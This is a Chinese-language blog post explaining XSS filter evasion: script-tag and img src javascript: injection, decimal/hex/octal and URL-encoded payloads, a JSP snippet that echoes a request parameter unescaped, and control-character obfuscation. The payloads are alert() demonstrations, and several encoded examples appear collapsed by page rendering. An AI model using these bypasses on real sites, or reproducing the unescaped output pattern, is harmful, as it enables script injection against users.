- 浏览: 378723 次
- 性别:
- 来自: 深圳
文章分类
最新评论
-
u014689192:
很不错
JMX学习笔记(三)-MXBean -
focus2008:
进制转换之后,根本不会执行js代码,感觉你没有测试过吧
xss漏洞之进制转换 -
focus2008:
如何使用过滤器来处理呢?
xss漏洞之进制转换 -
1169158401:
我艹,我那天这么写,包括一些方法,然后那货说这样写不容易看懂。 ...
import static简化代码 -
AquariusM:
奢华的JVM介绍!
JMX学习笔记(三)-MXBean
SQL注入的事件已经是上个世纪最令人头疼的攻击方法,21世纪又出现了HTML注入漏洞,随着web飞速的发展,XSS漏洞已经不容忽视,简单介绍一下XSS漏洞, 只要有用户输入的地方,就会出现XSS漏洞,例如在发表一篇帖子的时候,在其中加入脚本。
1.HTML标签注入:
<script>alert('Hello World!')</script>
很简单,就是用alert输出一个Hello World文本,如果在帖子内容里,出现了这样的语句,浏览器会执行这个脚本:
很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了。这个貌似很彻底,因为一旦<>被转换掉,什么<script src=1.js></script>就会转换成“<script src=1.js></script>”,不能执行,因此,很多人认为只要用户的输入没有构成<>,就不能闭合前后的标签,其语句当然也不会有害,但是,万事总有可能,只要有一定的条件,我们就可以构造经过编码后的语句来进行XSS,稍候我会提到16进制、8进制转换,以及混合转换。
2. HTML属性注入
于是程序员想办法封堵这个漏洞,过滤了<script></script> 标签,那么在页面上就不会执行这段js代码,
于是乎,黑客想了一个不用<script>标签的办法,注入html, 怎么回事呢?
是这样:
<img src='http://dl.iteye.com/upload/picture/pic/94494/0a949350-1644-3d50-9b13-b028f4891981.png'>
正常情况下,img的src标签是指向一个web服务器的图片URL,但是也可以替换为:
<img src='javascript:alert("Hello world!")'>
这样黑客通过绕道的形式,绕开了程序员的过滤,顺利执行了XSS攻击
程序员见况,同理有过滤了用户输入的src属性,过滤掉里边的javascript开头的关键字,暂时封堵了XSS。
3.ASCII 10进制转换继续XSS
javascript:alert("Hello world!")可以用HTML 10进制ASCII编码代替:
格式:&#(ASCII10进制编码);
javascript:alert("Hello world!")
img标签变为:
<img src='javascript:alert("Hello world!")' />
ASCII 10进制转换,同样适合于HTML标签注入:
例如:
把<script>alert("Hello world");</script>标签转换成10进制 ASCII转义字符:
<script>alert("Hello world");</script>";
接下来,使用URL编码得到:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E
然后放入到参数中:
http://www.test.com/a=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E
接着程序员用JSP得到参数
<% string str_a = rrequest.getParameter("a");%>
var a= <%=str_a%>
document.write(a);
同样会引发XSS漏洞
4. ASCII 16进制转换
格式: &#x(ASCII16进制编码);
<img src="javascript:alert('b')">
与10进制ASCII转义一样,只不过换了一种进制规则表示
5. ASCII 8进制转换
其实16进制还有一种表现形式,与8进制类似
格式:\x(ASCII 16进制编码)
格式:\(ASCII 8进制编码)
例如:
<script>alert("Hello world!");</script>
转换为16进制是:
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x21\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
八进制是去掉\后的x,数值转换为8进制数值即可,我就懒的自己转了,有兴趣大家可以试试
同样以构造URL参数,或者HTML属性的形式注入到HTML当中,即可产生XSS漏洞
6. 8进制、10进制、16进制混合转换
道理一样,只不过一段代码中的进制数混合,自由构造,组合比较多
7. 加入混淆字符
这样做的目的还是为了绕开程序员代码的过滤, 其中加入一些混淆转义字符,在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如、等字符都可插入到javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方, 当然还包括字母的大小写混合;
这里我摘抄了网上的一些例子:
例1:<img src="javascript:alert(/a/)"> '/插入到代码头部,其中可写成,效果一样
例2:<img src="java scr ipt:alert(/a/)"> '/插入到代码中任意位置,其中 可写成
例3:<IMG SRC="jav ascript:alert('XSS')"> '/ 是回车符的16进制形式
例4:<IMG SRC="jav ascript:alert('XSS')"> '/ 是换行符的16进制形式
这些是比较常用的例子,组合很多,变化多端, 有兴趣大家可以自己研究一下:)
发表评论
-
import static简化代码
2011-11-03 00:10 1697喜欢定义常量的哥们你伤不起啊,好处当然是大大滴,但是定义的名字 ... -
Java永远的伤-中国1927年12月31日午夜
2011-08-15 20:44 3895话说在中国1927年12月31日午 ... -
高性能的SimpleDateFormat
2011-07-18 23:35 3865以前写过一篇 , 《SimpleDateFormat性能调优》 ... -
tomcat关不掉的原因
2011-07-12 23:51 43533tomcat/bin 目录下的catalina.sh是比较常用 ... -
接口调用频率限制代码
2011-06-28 20:49 10612有很多时候我们写的代码不是你想跑多快就能跑多快的, 因为一些陈 ... -
java调用linux命令传递参数问题
2011-05-18 02:04 10734简单的不带通配符linux命令调用非常简单,使用Runtime ... -
Java位运算的优势
2011-04-09 01:58 2294在Java中对数据的运算,有很好的规范支持,尤其是针对二进制的 ... -
Facebook BigPipe技术
2011-01-04 00:37 2694关于web应用,从html的产生,到客户端浏览器的渲染, ... -
SimpleDateFormat性能调优
2010-11-25 00:12 4218万能的SimpleDateFormat可以把java.util ... -
JMX学习笔记(三)-MXBean
2010-11-10 11:25 4996在MBean中有只要遵循以下两个规则,我们就可以在jc ... -
JMX学习笔记(二)-Notification
2010-11-07 15:25 9025Notification 通知,也可理解为消息,有通知,必 ... -
JMX学习笔记(一)-MBean
2010-10-16 16:27 13654JMX 即 Java Management Ex ... -
cookie安全
2010-07-06 01:09 4148cookie的domian,path,expires, ... -
base64的js实现
2010-04-26 14:38 44588写了一个js类,可以方便base64加密解密: /** ... -
native2ascii转换后仍然乱码
2010-04-18 17:47 1816native2ascii转换的时候如果不带-encoding ... -
JPA换进下慎用entity
2010-01-26 11:36 2630今天跟一个同事调试代码,突然发现,诸如findUser ... -
des与3des的javascript实现
2010-01-08 09:50 6583下面这些源代码统统来自 tero.co.uk 网站。其 ... -
http session原理
2009-12-02 00:41 2862大家都知道session是web中在服务器端保存用户状 ... -
java中获得当前目录的各种方法
2009-09-04 11:21 14384Java本来就是跨平台的编程工具,所以当然要做跨平台的 ... -
String、StringBuffer与StringBuilder
2009-04-26 22:04 1928先不废话了,来段程序: package com.tuz; ...
相关推荐
1. **不同进制转换**:XSS攻击中,攻击者经常利用字符编码来绕过过滤机制。XSS助手提供了二进制、八进制、十进制和十六进制之间的转换功能,这在解码或编码XSS payload时非常有用。例如,通过将特殊字符转换为不同的...
该工具将帮助您在测试SQL注入,XSS漏洞和站点安全性时对有效负载进行编码。 转换您选择的区域或转换所有字符。 支持 字符串<=> Base64,Base32,Base16 字符串<=>十六进制 字符串<=> EncodedURL 字符串...
4. **安全实践**:在实际应用中,了解编码和解码的原理有助于防止安全漏洞,例如防止SQL注入、XSS攻击等。 "Converter.exe"作为该工具的可执行文件,很可能是Windows平台的应用程序,用户可以直接运行进行编码转换...
通过不闭合`<img>`标签,并在之后插入`<script>`标签的方式,尝试触发XSS漏洞。 ##### 6. 使用`String.fromCharCode()`方法 ```html (String.fromCharCode(88,83,83))> ``` 利用`String.fromCharCode()`方法将ASCII...
这样的工具通常能自动化地发现网站中的XSS漏洞,包括但不限于测试各种XSS注入点,执行多种编码的XSS payload,并尝试获取敏感信息。使用这类工具时,应遵循合法的渗透测试原则,避免对他人网站造成非法攻击。 **...
攻击者可以通过构造特殊的Payload来触发XSS漏洞,例如,构造一个包含<script>alert(document.domain)的Payload,来盗取用户的敏感信息。 三、双斜杠+十六进制绕过 双斜杠+十六进制绕过是一种绕过Web应用程序安全...
Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。 在Python中,可以使用Unicode类型来表示字符。...
标签“xss”,“masm”,“masm32”和“sql”进一步确认了这个项目的核心内容涉及XSS漏洞利用和SQL注入,以及MASM编程。 首先,让我们深入了解XSS(Cross-Site Scripting)。这是一种常见的Web应用程序安全漏洞,...
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web应用程序安全漏洞,攻击者可以通过Inject恶意脚本,使用户浏览器执行恶意代码,导致用户信息泄露、密码盗窃、恶意代码执行等问题。为了防止XSS攻击,各种...
在上传过程中,需要将图片转换为二进制格式,以便在网络中传输。 3. 数据库存储:将二进制图片数据存储到数据库中,通常选择支持BLOB(Binary Large Object)类型的数据库,如MySQL、PostgreSQL或MongoDB。存储时,...
- 在一个具体的案例中,王骕演示了如何通过将IP地址转换成十进制形式来绕过RFI漏洞的过滤。这种方法之所以有效,是因为很多过滤机制都是基于字符串匹配的,而将IP地址转换成数字形式则可以有效地避开这些过滤规则。...
在Unicode相关的漏洞检测过程中,需要理解Unicode的基本概念,包括码点、编码、分类、标准化、二进制属性以及大小写映射和转换规则。这是因为Unicode在将视觉上相似的字符或字符序列转换为内部表示时可能出现问题。...
1. **二进制基础**:了解二进制系统的基本概念,包括位运算、二进制转换、十六进制和ASCII码的关系等,这是深入理解计算机底层运作的基础。 2. **汇编语言**:掌握汇编语言的基本语法和指令集,它是直接与计算机...
- **XSS漏洞**: - **类型**:存储型、反射型。 - **攻击手段**:利用恶意脚本存储在服务器或通过链接传递给用户。 #### 总结 广州大学软件安全期末复习笔记详细介绍了软件安全领域的关键知识点,包括但不限于...
不正确的处理可能导致安全漏洞,如跨站脚本攻击(XSS)或数据丢失。 总的来说,“url编码解码源代码”是CGI编程中不可或缺的一部分,它帮助我们确保Web应用程序能够正确、安全地处理用户输入的数据。通过对CGI-...
2. 安全漏洞识别:通过分析代码中的API调用,ITS4可以发现常见的安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件包含漏洞等。 3. 代码规范检查:除了安全方面,ITS4还可以帮助开发者遵循最佳实践,比如避免使用过时...
在Jinja2模板引擎中,MarkdownSafe用于确保模板变量中的内容在渲染成HTML时不会引发XSS漏洞。而在Flask这样的Web框架中,MarkdownSafe可以用来安全地展示用户提交的包含HTML内容的数据。 总的来说,MarkdownSafe是...
18. **二进制与十进制转换**:二进制数101011转换为十进制是43。 19. **信息处理过程**:信息处理包括信息收集、存储、加工和传输等多个步骤。 20. **信息系统安全**:已运营的第二级以上信息系统,需在等级确定60...
5. Web安全:由于许多题目都涉及到了Web应用的安全性(如WebHard_Penetration),这要求参赛者对Web应用的安全弱点有深入的理解,如XSS攻击、文件包含漏洞、远程代码执行漏洞等。 6. 编程和脚本技术:参赛者需要有...